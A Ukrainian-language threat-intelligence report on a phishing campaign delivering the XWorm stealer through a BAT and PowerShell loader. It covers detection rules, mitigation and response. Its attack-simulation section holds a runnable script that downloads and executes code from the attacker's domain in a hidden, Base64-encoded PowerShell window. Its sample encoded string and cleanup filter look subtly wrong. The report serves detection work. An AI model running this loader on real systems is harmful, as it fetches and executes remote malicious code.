SOC Prime Bias: Середній

06 Feb 2026 15:26 UTC

Шкідливий скрипт доставляє більше шкоди

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Шкідливий скрипт доставляє більше шкоди
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Фішинг-лист доставляє шкідливий вкладений файл, що містить BAT-скрипт, який запускає PowerShell для завантаження закодованого в Base64 корисного навантаження. Після декодування корисне навантаження перетворюється в XWorm, .NET стілер, що ідентифікує хост і передає зібрані дані через Telegram-бот. Постійність досягається шляхом створення задачі за розкладом, яка періодично запускає викинутий виконуваний файл. Операція покладається на кілька елементів інфраструктури, включаючи підробний інструмент для зберігання зображень і принаймні одну скомпрометовану IP-адресу для розміщення корисного навантаження.

Розслідування

Перегляд BAT-скрипту виявив однорядковий PowerShell, що отримує файл, схожий на PNG, з домену, контрольованого атакуючим. Вбудований контент в Base64 потім очищається, перевертається і декодується для реконструкції .NET виконуваного файлу. Аналіз бінарних файлів показав, що шкідливе програмне забезпечення реєструє заплановане завдання під назвою Chromiumx2 і використовує API Telegram для командного управління і передачі даних. Слідчі виділили ключові мережеві індикатори, включаючи домен хостингу, асоційовану IP-адресу та кінцеву точку API Telegram, зазначені під час виконання.

Пом’якшення

Запобігти виконанню незахищеного BAT і PowerShell контенту, що походить з вкладених файлів електронної пошти чи директорій завантаження користувача. Застосувати дозвіл для додатків, щоб обмежити створення завдань за розкладом і виявляти підозрілі нові реєстрації завдань. Моніторити і, де можливо, обмежити вихідний доступ до кінцевих точок API Telegram і блокувати виявлені шкідливі домени на рівні DNS/проксі. Підтримувати актуальність детекцій кінцевих точок з врахуванням нових індикаторів і шаблонів завантаження на основі скриптів.

Відповідь

Ізолювати кінцеві точки, де спостерігається завдання за розкладом Chromiumx2 або Chromiumx2.exe. Видалити завдання за розкладом, видалити шкідливий бінарний файл і зібрати артефакти (скрипт, декодоване корисне навантаження, XML завдання та відповідні журнали) для судово-інформаційного аналізу. Шукати по всьому середовищу ту ж назву завдання, поведінку декодування PowerShell і трафік, керований Telegram. Скинути потенційно скомпрометовані облікові дані і повідомити користувачів про фішингове вкладення, щоб зменшити повторне виконання.

Потік атаки

Детекції

Можливе зловживання Telegram як каналу керування та управління (через dns_query)

Команда SOC Prime
04 лютого 2026

Підозрілий процес використовує URL в командному рядку (через cmdline)

Команда SOC Prime
04 лютого 2026

Завантаження або вивантаження через Powershell (через cmdline)

Команда SOC Prime
04 лютого 2026

Schtasks вказує на підозрілий каталог / бінарний / скрипт (через cmdline)

Команда SOC Prime
04 лютого 2026

Підозрілі рядки Powershell (через powershell)

Команда SOC Prime
04 лютого 2026

Підозрілі файли у загальному профілі користувача (через file_event)

Команда SOC Prime
04 лютого 2026

Підозрілі рядки Powershell (через cmdline)

Команда SOC Prime
04 лютого 2026

Можливе використання Schtasks або AT для стійкості (через cmdline)

Команда SOC Prime
04 лютого 2026

IOC (SourceIP) для виявлення: шкідливий скрипт, що доставляє більше шкідливості

Правила SOC Prime AI
04 лютого 2026

IOC (DestinationIP) для виявлення: шкідливий скрипт, що доставляє більше шкідливості

Правила SOC Prime AI
04 лютого 2026

Створення запланованого завдання для стійкості Chromiumx2 [Створення процесу Windows]

Правила SOC Prime AI
04 лютого 2026

Виявлення завантаження закодованого в Base64 PowerShell корисного навантаження [PowerShell Windows]

Правила SOC Prime AI
04 лютого 2026

Виконання симуляції

Передумова: Перевірка телеметрії та базового стану повинна бути пройденою.

  • Опис атаки та команди:
    Атакуючий хоче завантажити і виконати шкідливе корисне навантаження з скомпрометованого веб-сервера. Щоб уникнути класичного виявлення підписів, він вбудовує всю логіку завантаження-і-виконання в один рядок Base64 і викликає PowerShell з -EncodedCommand. Команда посилається на точний URL, який відстежує правило виявлення (https://uniworldrivercruises-co.uk/optimized_MSI.png).

    1. Кодувати шкідливе навантаження (простий завантажувач, що запускає отриманий скрипт):

      $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
      $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      Write-Host $b64

      Отриманий B64 (приклад): SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA... (скорочено).

    2. Виконати закодовану команду:

      powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...

    Цей однорядковий код генерує точну телеметрію, яку очікує правило Sigma: процес PowerShell, -EncodedCommand прапор і шкідливий URL всередині декодованого блоку скрипта.

  • Регресійний тестовий скрипт:

    #-------------------------------------------------
    # Регресійний скрипт для активації правила виявлення
    #-------------------------------------------------
    # 1. Створити шкідливе навантаження
    $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
    $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. Виконати навантаження за допомогою закодованої команди PowerShell
    Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" `
        -WindowStyle Hidden -PassThru | Out-Null
    
    Write-Host "Шкідлива закодована команда виконана."
    #-------------------------------------------------
  • Команди очищення:

    # Видалити будь-які тимчасові файли (не очікується, бо навантаження струмується безпосередньо)
    # Припинити будь-які залишкові приховані процеси PowerShell, запущені тестом
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} |
        Stop-Process -Force
    
    Write-Host "Очищення завершено."